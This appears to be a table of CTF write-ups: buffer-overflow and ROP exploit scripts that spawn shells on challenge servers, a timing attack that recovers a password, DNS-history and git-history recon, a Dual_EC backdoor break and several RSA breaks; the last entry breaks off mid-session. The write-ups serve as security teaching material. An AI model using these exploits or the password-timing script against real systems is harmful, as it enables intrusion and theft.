text_chunk
stringlengths 151
703k
|
---|
```from pwn import *
def show(): r.recvuntil("> ") r.sendline('1')def rank(title,rank): r.recvuntil("> ") r.sendline('2') r.recvuntil("> ") r.sendline(str(title)) r.recvuntil("> ") r.sendline(str(rank))
#r = process("r4nk")r = remote("challenges.fbctf.com", 1339)rank(0,-263020)show()read = u64(r.recvuntil("\n")[3:9]+"\x00\x00")libc = read - 0x110070one_gadget = libc + 0x10a38clog.info("read: %#x",read)log.info("libc: %#x",libc)log.info("one_gadget: %#x",one_gadget)rank(0x11,0x400980)rank(0x12,0x602100)r.recvuntil("> ")r.sendline('3'+'A'*7+p64(one_gadget))r.sendline("cat /home/r4nk/flag")r.interactive()``````$ python rank.py[+] Opening connection to challenges.fbctf.com on port 1339: Done[*] read: 0x7f80bb7ed070[*] libc: 0x7f80bb6dd000[*] one_gadget: 0x7f80bb7e738c[*] Switching to interactive modeg00dBy3flag{wH0_n33ds_pop_rdx_4NYw4y}``` |
We're working on a brand new sort of encrypted version of Whatsapp, we call it Whysapp. We took the base technology behind Whatsapp and upgraded it to use a super shiny new language. |
# HydraWe got this png file of a hydra. The size of 5,1 MB tells that it is more than meets the eye.Running `strings` on it reveals at bunch of stuff:```LINUX CDROM GENISOIMAGE ISO 9660/HFS FILESYSTEM CREATOR (C) 1993 E.YOUNGDALE (C) 1997-2006 J.PEARSON/J.SCHILLING (C) 2006-2007 CDRKIT TEAM 2019051714090300201905171409030000000000000000002019051714090300
CD001BEA01NSR02TEA01CDROM5CDEA45F00000F97OSTA Compressed UnicodeOSTA Compressed Unicode*genisoimage*UDF LV InfoOSTA Compressed UnicodeCDROM*genisoimage+NSR02*genisoimageOSTA Compressed UnicodeCDROM*OSTA UDF Compliant*genisoimageCDROM5CDEA45F00000FE0OSTA Compressed UnicodeOSTA Compressed Unicode*genisoimage*UDF LV InfoOSTA Compressed UnicodeCDROM*genisoimage+NSR02*genisoimageOSTA Compressed UnicodeCDROM*OSTA UDF Compliant*genisoimage*genisoimageOSTA Compressed UnicodeCDROMOSTA Compressed UnicodeCDROM*OSTA UDF Compliant*genisoimageflag.txt*genisoimageFLAG.TXT;1Looking for flag....%PDF1337.pdfExif7/j{TG-m%%EOFIEND```
Okay so the file is fishy and running `foremost` on it gives the following output:```$ tree.├── audit.txt├── gif│ └── 00008375.gif└── png └── 00008369.png```
The png file could be opened and gaveThe gif file could not be opened so we tried to dig deeper in it.We spent a lot of time trying to get something useful out of the gif file with multiple tools until we realised that we had neglected the png file.
Running strings on it revelead this funny thing:
```
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.80'><rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1/'> <dc:rights> <rdf:Alt> <rdf:li xml:lang='x-default'>Copyright</rdf:li> </rdf:Alt> </dc:rights> </rdf:Description></rdf:RDF></x:xmpmeta>
IEND```Aha, exiftool meaning metadata in the file!
Running exiftool gave:```exiftool png/00008369.pngExifTool Version Number : 11.01File Name : 00008369.pngDirectory : pngFile Size : 2.6 kBFile Modification Date/Time : 2019:05:24 20:38:18+02:00File Access Date/Time : 2019:05:24 20:41:45+02:00File Inode Change Date/Time : 2019:05:24 20:38:18+02:00File Permissions : rw-r--r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 282Image Height : 120Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedPalette : (Binary data 210 bytes, use -b option to extract)Transparency : 0Copyright Notice : frps{Fj0eqs15u_sy4t_u1qq3a_1a_z3g4}Application Record Version : 4XMP Toolkit : Image::ExifTool 10.80Rights : CopyrightImage Size : 282x120Megapixels : 0.034```
The copyright notice looks like the flag but it is scrambeled.Testing with regular rot13 gave the flag:`secf{Sw0rdf15h_fl4g_h1dd3n_1n_m3t4}`
Nice forensic challenge!
Takeaways:* always test all files* understand the joke |
# Facebook CTF 2019 Overfloat
This challenge was a team effort, my fellow Nasa Rejects team mate qw3rty01 helped me out with this one.
One thing about this challenge, it is supposed to be done with the `libc-2.27.so`, which is the default libc version for Ubuntu `18.04`. You can check what libc version is loaded in by checking the memory mappings with in gdb with the `vmmap` command. If it isn't the default, you will need to so something like using ptrace to switch the libc version, or adjust the offsets to match your own libc file.
Let's take a look at the binary:
```$ file overfloatoverfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped$ pwn checksec overfloat[*] '/Hackery/fbctf/overfloat/dist/overfloat' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
So we can see that it we are given a `64` bit dynamically linked binary, with a non-executable stack. In addition to that we are give the libc file `libc-2.27.so`. Running the program we see that it prompts us for latitude / longitude pairs:
```$ ./overfloat _ .--. ( ` ) .-' `--, _..----.. ( )`-. .'_|` _|` _|( .__, ) /_| _| _| _( (_, .-' ;| _| _| _| '-'__,--'`--' | _| _| _| _| | _ || _| _| _| _| _( `--.\_| _| _| _|/ .-' )--,| _| _|.` (__, (_ ) )_| _| / `-.__.\ _,--'\|__|__/ ;____; \YT/ || |""| '=='
WHERE WOULD YOU LIKE TO GO?LAT[0]: 4LON[0]: 2LAT[1]: 8LON[1]: 4LAT[2]: 2LON[2]: 8LAT[3]: Too Slow! Sorry :(```
When we look at the main function in Ghidra, we see this code:
```undefined8 main(void)
{ undefined charBuf [48]; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); alarm(0x1e); __sysv_signal(0xe,timeout); puts( " _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |\"\"| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?" ); memset(charBuf,0,0x28); chart_course(charBuf); puts("BON VOYAGE!"); return 0;}```
Looking through the code here, we see that the part we are really interested about is `chart_course` function call, which takes the pointer `charBuf` as an argument. When we look at the `chart_course` disassembly in IDA, we see this:
```void chart_course(long ptr)
{ int doneCheck; uint uVar1; double float; char input [104]; uint lat_or_lon; lat_or_lon = 0; do { if ((lat_or_lon & 1) == 0) { uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10; printf("LAT[%d]: ",(ulong)uVar1,(ulong)uVar1); } else { uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10; printf("LON[%d]: ",(ulong)uVar1,(ulong)uVar1,(ulong)uVar1); } fgets(input,100,stdin); doneCheck = strncmp(input,"done",4); if (doneCheck == 0) { if ((lat_or_lon & 1) == 0) { return; } puts("WHERES THE LONGITUDE?"); lat_or_lon = lat_or_lon - 1; } else { float = atof(input); memset(input,0,100); *(float *)(ptr + (long)(int)lat_or_lon * 4) = (float)float; } lat_or_lon = lat_or_lon + 1; } while( true );}```
Looking at this function, we can see that it essentially scans in data as four byte floats into the char ptr that is passed to the function as an argument. It does this by scanning in `100` bytes of data into `input`, converting it to a float stored in `float`, and then setting `ptr + (x * 4)` equal to `float` (where `x` is equal to the amount of floats scanned in already). There is no checking to see if it overflows the buffer, and with that we have a buffer overflow.
That is ran within a do while loop, that on paper can run forever (since the condition is while(true)). However there the termination condition is if the first four bytes of our input is `done`. Keep in mind that the buffer that we are overflowing is from the stack in `main`, so we need to return from the main function before getting code execution.
Also there is functionality which will swap between prompting us for either `LAT` or `LON`, and which one in the sequence there is. However this doesn't affect us too much.
Now we need to exploit the bug. In the main function since `charBuf` is the only thing on the stack, there is nothing between it and the saved base pointer. Add on an extra `8` bytes for the saved base pointer to the `48` bytes for the space `charBuf` takes up and we get `56` bytes to reach the return address. Now the question is what code do we execute? I decided to go with a ROP Chain using gadgets and imported functions from the binary, since PIE isn't enabled so we don't need an infoleak to do this. However the binary isn't too big so we don't have the gadgets we would need to pop a shell.
To counter this, I would just set up a `puts` call(since `puts` is an imported function, we can call it) with the got address of `puts` to give us a libc infoleak, then loop back around by calling the start of `main` which would allow us to exploit the same bug again with a libc infoleak. Then we can just write a onegadget to the return address to pop a shell.
Now we need to setup the first part of the infoleak. First find the plt address of puts `0x400690`:
```objdump -D overfloat | grep puts0000000000400690 <puts@plt>: 400690: ff 25 8a 19 20 00 jmpq *0x20198a(%rip) # 602020 <puts@GLIBC_2.2.5> 400846: e8 45 fe ff ff callq 400690 <puts@plt> 400933: e8 58 fd ff ff callq 400690 <puts@plt> 4009e8: e8 a3 fc ff ff callq 400690 <puts@plt> 400a14: e8 77 fc ff ff callq 400690 <puts@plt>```
Next find the got entry address for puts:
```$ objdump -R overfloat | grep puts0000000000602020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5```
Finally we just need to gadget to pop an argument into the `rdi` register than return:
```$ python ROPgadget.py --binary overfloat | grep "pop rdi"0x0000000000400a83 : pop rdi ; ret```
Also for the loop around address, I just tried the start of main and it worked. After we get the libc infoleak we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget. I just tried the first one and it worked (I decided to go with guess and check instead of checking the conditions when the gadget would be executed):
```$ one_gadget libc-2.27.so0x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints: rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints:```
With that we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, we have to jump through a few hoops in order to get our inputs correct:
```from pwn import *import struct
# Establish values for the rop chainputsPlt = 0x400690putsGot = 0x602020popRdi = 0x400a83
startMain = 0x400993oneShot = 0x4f2c5
# Some helper functions to help with the float input# These were made by qw3rty01pf = lambda x: struct.pack('f', x)uf = lambda x: struct.unpack('f', x)[0]
# Establish the target, and the libc filetarget = remote("challenges.fbctf.com", 1341)#target = process('./overfloat')#gdb.attach(target)
# If for whatever reason you are using a different libc file, just change it out here and it should worklibc = ELF('libc-2.27.so')
# A helper function to send input, made by a team matedef sendVal(x): v1 = x & ((2**32) - 1) v2 = x >> 32 target.sendline(str(uf(p32(v1)))) target.sendline(str(uf(p32(v2))))
# Fill up the space between the start of our input and the return addressfor i in xrange(7): sendVal(0xdeadbeefdeadbeef)
# Send the rop chain to print libc address of puts# then loop around to the start of main
sendVal(popRdi)sendVal(putsGot)sendVal(putsPlt)sendVal(startMain)
# Send done so our code executestarget.sendline('done')
# Print out the target outputprint target.recvuntil('BON VOYAGE!\n')
# Scan in, filter out the libc infoleak, calculate the baseleak = target.recv(6)leak = u64(leak + "\x00"*(8-len(leak)))base = leak - libc.symbols['puts']
print "libc base: " + hex(base)
# Fill up the space between the start of our input and the retun address# For the second round of exploiting the bugfor i in xrange(7): sendVal(0xdeadbeefdeadbeef)
# Overwrite the return address with a onegadgetsendVal(base + oneShot)
# Send done so our rop chain executestarget.sendline('done')
target.interactive()``` |
INT_MIN bug, leak_libc, leak_stack, forging new unsafe_stack_ptr, ROP
[writeup](https://github.com/LorenzoBinosi/CTF/tree/master/2019/FacebookCTF/pwn/asciishop) |
# ONCE UPON A TIME Writeup
### Harekaze 2019 - crypto 100
A simple [Hill cipher](https://en.wikipedia.org/wiki/Hill_cipher) with some randomness and padding. Calculate the inverse of `m2` over integer mod ring over `251`, and multiply with ciphertext. Since matrix multiplication is not commutative, we check two cases: `inverse * ciphertext` or `ciphertext * inverse`. We may check the sanity of plaintext by checking the padding and printability(flag must be containing only printables).
Parse [result.txt](result.txt) and decode it.
The flag is:
```HarekazeCTF{Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33}```
Full exploit code: [solve.sage](solve.sage)
Original problem: [problem.py](problem.py)
Output: [result.txt](result.txt) |
The task involves generating the AES encryption key which the executable used to encrypt the file 'enc' using the backdoored Dual Elliptic Curve Deterministic Random Bit Generator algorithm. The constant needed is provided to us by the challenge. |
Overview - We can perform only one game action per day- We can perform a game action only on days 1/256, 2/256, 3/256, 4/256 and 5/256 (5 days total)- Each game action makes the game progress by 1 day- We need to perform 6 actions to complete our quests
Key Insight - We can overflow the game's day counter to make the season start from day 1/256 again. We now have 5 (or infinite) extra days to complete our quests. |
# HSCTF 2019 "Networked Password" writeup
## Problem
```Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead.However, the connection between them is very slow and I have no idea why.```
<https://networked-password.web.chal.hsctf.com/>
## Solution
First, I check problem page's source code.
```html
<html lang="en"> <head> <meta charset="utf-8"/> <title>Networked Password</title> </head> <body> <form method="POST"> <input type="password" placeholder="password" name="password"/> <input type="submit"/> <form> </body></html>```
This is a very simple password form and there is no other information.
I tried a few passwords and noticed that the password "hsctf" takes a lot of time to respond.
This means that we can guess correct password by XS-Search of response time.
The format of the flag is "hsctf{}", so first try "h".
```{'password': 'a'} response time : 0.811167{'password': 'b'} response time : 0.915185{'password': 'c'} response time : 1.018501{'password': 'd'} response time : 1.120249{'password': 'e'} response time : 0.916026{'password': 'f'} response time : 1.013199{'password': 'g'} response time : 0.919143{'password': 'h'} response time : 1.324334 ← longest{'password': 'i'} response time : 0.816922{'password': 'j'} response time : 0.808752{'password': 'k'} response time : 0.794029{'password': 'l'} response time : 0.936624{'password': 'm'} response time : 0.813636{'password': 'n'} response time : 1.119719{'password': 'o'} response time : 1.006724{'password': 'p'} response time : 0.927347{'password': 'q'} response time : 1.017954{'password': 'r'} response time : 1.120191{'password': 's'} response time : 1.121062{'password': 't'} response time : 0.915766{'password': 'u'} response time : 0.813457{'password': 'v'} response time : 0.749453{'password': 'w'} response time : 0.964771{'password': 'x'} response time : 0.918737{'password': 'y'} response time : 0.927552{'password': 'z'} response time : 0.796128```
A character that has longest response time is flag.
Then, I try the characters one by one.
```pythonimport requests
text = "0123456789abcdefghijklmnopqrstuvwxyz_}"
flag = "hsctf{"
for _ in range(30): time = [0.1 for _ in range(38)] for _ in range(5): for i in range(38):
payload = {"password": flag + text[i]}
r = requests.post( "https://networked-password.web.chal.hsctf.com", data=payload )
response_time = r.elapsed.total_seconds()
time[i] += response_time
print(payload, " response time : ", response_time)
flag += text[time.index(max(time))]
print("flag is ", flag)```
```flag is hsctf{sflag is hsctf{smflag is hsctf{sm0flag is hsctf{sm0lflag is hsctf{sm0l_flag is hsctf{sm0l_fflag is hsctf{sm0l_flflag is hsctf{sm0l_fl4flag is hsctf{sm0l_fl4gflag is hsctf{sm0l_fl4g}``` |
```Written by: Weastie
Hey guys, found a super cool website at http://misc.hsctf.com:8001!
Edit: If the site is blocked by school filters, try
http://misc.hsctf.com or http://misc.hsctf.com:8080; both will work!
```in that website we can see that there is a link for gitlab project where is the code source:```https://gitlab.com/WeastieWeastie/admin-password/
We have the permission to see all commits in that project and on the page index.php where it is the flag.
So we go to Repository>Commits```We start opening commits codes from tail to see that changes done in index.phpSo when we attend that commit with link:```https://gitlab.com/WeastieWeastie/admin-password/commit/ced3b4c6774184cddaa641a6091210a6242c889e
we got a password with plain text : i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b
```Done, the the flag is hsctf{i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b} |
## Cant_Even_Unplug_It (Intro/Recon/Web)(102 pts)
### By: Not_C0ps
-----
The challenge says they created a website at the military-grade-secrets.dev subdomain, then they changed their website name before their boss finally took the website offline.
Hints:These are HTTPS sites. Who is publicly and transparently logging the info you need?Just in case: all info is freely accessible; no subscriptions are necessary. The names cannot really be guessed.
Where to begin… Well we start off by knowing that all domain names and name changes are routed through and tracked by DNS (Domain Name System). Using nslookup (on powershell or cmd) military-grade-secrets.dev doesn’t return us any useful information. So, I found a website which gives historical DNS data for a given domain.
[Historical DNS Tool](https://securitytrails.com/dns-trails)

So, let’s see what we can find about the domain we are given.

Nothing to note in the DNS Records or Historical Data section, but we have found 4 subdomains. The most important ones are the bottom two. Let’s check if either of these domains lead us to a website. Unfortunately, in both cases we get the same result.

So, we don’t find a website, but we do find out that both those domains are aliases for another domain, forget-me-not.even-more-militarygrade.pw.Running this domain through the historical data tool we find:

This is even better! This means this domain forget-me-not.even-more-militarygrade.pw was once run on Digital Ocean (A service that hosts VMs for people). We can logically conclude then, that this domain once led to the website we are looking for. The best place to find information on archived websites is the Way Back Machine (https://archive.org/web/).

Checking the most recent snapshot on April 27, 2019:

And there we have it, the flag is ooo{DAMNATIO_MEMORIAE}.It is important to note that using the two domains (secret-storage.military-grade-secrets.dev or now.under.even-more-militarygrade.pw.military-grade-secrets.dev) that aliased forget-me-not.even-more-militarygrade.pw in the Way Back Machine would redirect us to the same page seen in the previous Way Back search result picture. A straightforward challenge, but time consuming and interesting none the less. Until next time, thanks for reading!
[Original Writeup](https://github.com/frank-cerny/CTFs/blob/master/Defcon_Quals_2019/Cant_Even_Unplug_It/cant_even_unplug_it_writeup.pdf)
|
# Industrial process
__Description__
In company XXX, we have a big expertise in laser cutting and we are well informed about cybersecurity. We have setup a small honeypot to simulate the cut of some pieces. In our fake process, we have manufactured 25 pieces of 1 meter by 1 meter. We have found this really weird file thanks to a super effective detection tool. There was also a weird string :
893c539a84e6c96acf5f2ceea2ad9ef7be895580
This flag follow the following format : INSA([A-Z]*). Please submit it as INSA{$1}, for example if you find INSAAZERTY, submit INSA{AZERTY}. [Weird File](tempList.txt)
__SOLUTION__
At first I thought that it was a hash and we have to crack the hash. I didn't even looked at the given file.
After a while I realized that we are given a file(:facepalm:).
When I googled the strings/hash I came across this tool called [Cloakify](https://github.com/TryCatchHCF/Cloakify/).Okay so that mean we have to use that tool somehow to proceed.
Reading the `README` file I realized what was supposed to be done.Basically the given file will turn out to be something else when we will `decloakify` it.
```bash➜ python2 decloakify.py tempList.txt ciphers/worldFootballTeams > pcap```
This will give us a PCAP file.When we open the file it give us some error about missing bytes, I thought WE'll have to fix that issue but then __@unblvr__ explained what might happened.
According to him```There's no missing data per se, it's just that the file stops suddenlyit could just be due to the creation processI bet they didn't sniff some modbus connection, but crafted this with scapy or something```
Okay that mean we didn't have to fix the PCAP then what do we do.
Well if we read the description the tool was `laser cutter` and if you look at those protocols `Modbus/TCP` there are `Register values` present.

So we need to extract those response values and analyze them.
```bash➜ tshark -r pcap -Y modbus -T fields -E header=y -e frame.len -e modbus.regval_uint16```
This will give us all those responses and since they are in tuple of 3 the best we could do is plot them on graph and see if it result in something.
First we put those values in a [file](pdus.txt).Now you can just plot this using python.Once plotted this will give you the flag.
Also all the part after the we found pcap was done by __@unblvr__ |
# netscream Writeup
### Facebook 2019 - crypto 974 - 18 solves
> We discovered a mysterious constant associated with this encryption scheme. Can you figure out how to decrypt the file?
#### Understanding the system
Three files were given; [d](d), [enc](enc), and the [binary](bin). Our first goal is to reverse the binary, and find out why `d` and `enc` files were given. After some [reversing](bin.i64), I found out some several critical facts to solve this challenge. The facts are
1. Inspecting function `ECC_initialization()`, elliptic curve was initialized by [openssl function](https://www.openssl.org/docs/man1.1.0/man3/EC_GROUP_new_by_curve_name.html), `EC_GROUP_new_by_curve_name(415LL)`. The number `415` [indicates](http://wooya.me/tldextract-rs/src/openssl_sys/lib.rs.html#318) that the used curve is NID_X9_62_prime256v1 curve, which is also named as NIST P-256 curve or secp256r1. Its curve parameters(`a`, `b`, `p`, `G`) can be found [here](https://www.secg.org/SEC2-Ver-1.0.pdf) at page 16. Also, elliptic curve point `P` is initialized. All the parameters were parsed and stored [here](config.py).
2. Inspecting function `ECC_RNG()`, 240 bits(30 bytes) were generated and dumped, do some strange logic and dump 16 bits(2 bytes) again. By these observation, and some googling, the function implements [Dual_EC_DRBG](https://en.wikipedia.org/wiki/Dual_EC_DRBG) which is a [PRNG](https://en.wikipedia.org/wiki/Pseudorandom_number_generator). It uses `G` and `P` to generate the output. The total 32 bytes are written to [enc](enc). The followings are the steps to generate RNG. - Initialize the PRNG with random seed `t` (initialized with urandom) - let `s` be the `x` coordinate of point `t * G` - let `r` be the `x` coordinate of point `s * P` - Publish 30 lowest bytes of `r` - Set `t` equal to `s` and it will be the new seed for generating random number
3. The PRNG generates next 32 bytes, using it as a AES key to encrypt flag(filename given as `argv[1]`) by [IGE block cipher mode](https://blog.susanka.eu/ige-block-cipher-mode/). The encryption result(32 bytes) is written to [enc](enc), resulting 64 bytes as the final filesize.
My goal is to recover internal state of the given PRNG, based on the knowledge of fragmented (30 + 2) byte state, which was dumped to the first 32 bytes of [enc](enc) at fact2. By knowing the previous state, I directly recover AES key, and decrypt the flag using the encrypted result, stored to the last 32 byes of [enc](enc).
#### Vulnerability: Dual_EC_DRBG is a Backdoored PRNG!!!
The backdoor `d` was given to recover the internal state of PRNG, which was stored at [d](d). The backdoor must satisfy `G == d * P`. Section 2 of this [paper](http://dualec.org/DualECTLS.pdf) introduces the attack theory. I know the 30 lowest bytes of `x` coordinate of `s * P`. Bruteforce 2 bytes, obtain `y` coordinates(two of them!), and check whether the point is on the curve(which has complexity about `2 ** 17`). For the valid points, the attacker evaluates the next state(by using the equation `s * d * P == s * G`, since `t` becomes previous `s`) and compare the 2 highest bytes.
I successfully recovered the next state of PRNG, and recovered the flag. By [decrypting](crypt.py)(src obtained from [here](https://github.com/Surye/telepy/blob/master/crypt.py)) the last 32 bytes of [enc](enc), I get the flag:
```fb{dual_ec_is_not_a_good_prng_}```
exploit driver code: [solve.sage](solve.sage)
Original binary: [bin](bin)
Original enc and d: [enc](enc), [d](d)
Reversing result: [bin.i64](bin.i64)
Parsed Parameters: [config.py](config.py)
Decryptor for IGE: [crypt.py](crypt.py)
|
# Yet Another RSA Challenge Part 2 - 50 points - 61 solves# RSA with partial prime information
We get an RSA modulus `N`, a ciphertext and a prime modified prime `p`. The modifications are given and are just a bunch of search-and-replace for 8 substrings of length 2.
We simply brute-force the inverse modifications until we find a number dividing `N`. This will be the original prime `p`. Here is the implementation in python:```pythonfrom sympy.ntheory import isprimefrom Crypto.Util.number import inverse, long_to_bytesfrom collections import OrderedDictfrom itertools import combinations
def subsets(s): for cardinality in range(len(s) + 1): yield from combinations(s, cardinality)
N = 737611163443959284842367849241210504758770468900963447745605275812981372405732262639464389012528980016931096127343933425531508977427016967370838523007185109804122827435442876112926896405911684006913203175001902528962659926046227042479405858100518975905360430463250839310857983177028295643515725251012428553651998860175968606629769294473365526541620801873942073999635165942812779333418405669820767884314938500537161124341967101209379749620814652441184505316661790048734950052497097493871158994129217835162546653468074537465326514182322892918918625260996455179683746164361293138705790829022424332601363202790350347639455664656064705450037947152881312491133191289211419037325704774394630500271194735028396494665835379325963853042514832498826985928063545989015763434053963155703531024791434836954197474393368464043648904368880777954234469571406476568488608818611878807321749318425353873416639028342088117081977903731238631252547599612554002863288409286756260496090170930084625283076970661877432107608911551414435036116940780849204521422482251640736907024303127956310763272428319732230450480696798568635499915064255846815425268220147645177869463315347549456623125597500648525429960478399391403082954189840918045663557930850169068717203841ciph = 238625175560117519818219655160700093672765696917859228632607011580941239729981338983916209022919475382357227963405365905148115318257038277146986081479123834942285774969894504633426906629030480787741565635778433780362722138925014818166488253621790448543359319453495165651188539177460365420486442547806453231416816633460519873660432319115179116336907802631692806970121302821171652412917375895244055318035607411137420274957028058695317500603598525629698305540801857314426359129633709966978334387372229490871242813925900864337395540528999023305226494361061535292380487362207573111785857146840743150168595521892054972163853976096692431697845761601194595494668734667899627964699784309805348028825617943571577132154874260866191233001610717099049253716197026401372924319018736900888351182876610669592251724095719123094054432644034621312701246109838942945597240248959486831491623970160080568107285964593924238967189856179059372322390416530545895764941716546818701469100406503650604889258155970317233013903059065959366407802296924017896297385415541256814333380793132923243754142847186952683218437937882137950119347398825971468218656558007008879510066175287320907270138115038609371999806062759974181729622851705386276830651522840256814183961092p = "D78717E5C560636F461952384C67475479931C73E8573DE1658AD9828BA322DF497E2FC6042AE093EC7F194B47AF7E507CFF542F9085A0C526DC4B3B44D6FBEC4CA672FB2F75B56F151E5A103A1CBF6DB17611A6E6D1C054CE7A9D0A2170370E8AD349B98DFD984A6955B97AB7087AF81019C0F31456A6179DB47D2A240E307422D3F968193F8F239035640A357EBC4C3726DBF9935FF243AF8F0A4D458534381B38C3435AC0E61564BF79C7F808C38AB61F5DD2080EC2A2211AAFC17F8E89F99690278D494F1C8D1170C31442D1A8624EAE9938FB874962BBAE8915DA1943FC41B8D8CA675FE35FFD30B1CA5DF21E1BB0F9BC3C1F7CDC7E3E3E3AB834503D51"
switches = [('12','8D'),('33','D4'),('5E','FF'),('09','95'),('E4','38'),('6B','89'),('9E','E0'),('59','3E')]switches = OrderedDict(reversed(switches))
possible = [p]for sss in switches: news = [] for x in possible: fc = [i for i in range(len(x)) if x[i:i+2]==switches[sss]] for sub in subsets(fc): y = x for i in sub: y = y[:i]+sss+y[i+2:] u = int(y,16) if N%u==0: p = u q = N//p d = inverse(65537,(p-1)*(q-1)) flag = long_to_bytes(pow(ciph,d,N)) print(flag) if sss!='12': news.append(y) possible.extend(news) ```which outputs the flag `INSA{Uh_never_give_4w4y_your_Pr1mes_I_m34n_duhhh}`. |
# Reverse Search AlgorithmDescription```WWPHSN students, gotta get these points to boost your grade.
n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137e = 65537c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777```Typical weak RSA encryption because of `n` is too small
[Wikipedia about RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
I use this [nice website](https://www.alpertron.com.ar/ECM.HTM) to factor `p` and `q` for me (Because n = pq)

Ok, now we know:```p = 29 q = 19 378812 610208 711050 554891 591368 513578 428260 883630 885898 953907 471497 427917 962675 301070 084754 463193 723428 901453```
According to wikipedia, to calculate the decryption key `d`:```λ(n) = (p-1) * (q-1)d = inverse of e mod λ(n) ```And calculate the plaintext:```m = c^(d) mod n```I used python to calculate all these:```pythonfrom Crypto.Util.number import inversen = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137e = 65537c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777p = 29 q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453phi = (p-1)*(q-1)d = inverse(e,phi)m = pow(c,d,n)print hex(m)[2:-1].decode('hex') # convert to string and print out```
# Flag> hsctf{y3s_rsa_1s_s0lved_10823704961253} |
# Really Secure Algorithm (Crypto 324 points)

Similar to [Reverse Search Algorithm](../ReallySecureAlgorithm) Challenge, we are given the public key and the ciphertext.
```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```
Lets try FactorDB.

It turns out the given public exponent is a square of a prime.
Just because we found the primes, we cannot directly decrypt the ciphertext using normal RSA because in normal RSA, the primes are distinct. But over here, the primes are equal. So the value of phi(n) (Eulers totient function) would be p\*(p-1) instead of (p-1)\*(q-1).
Using that knowledge, we can decrypt the ciphertext.
```vagrant@ubuntu-xenial:~$ pythonPython 2.7.12 (default, Nov 12 2018, 14:36:49)[GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import gmpy>>> import libnum>>> n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609>>> e = 65537>>> c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847>>> p = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> assert n == p * p>>> phi = p * (p-1)>>> d= int(gmpy.invert(e,phi))>>> 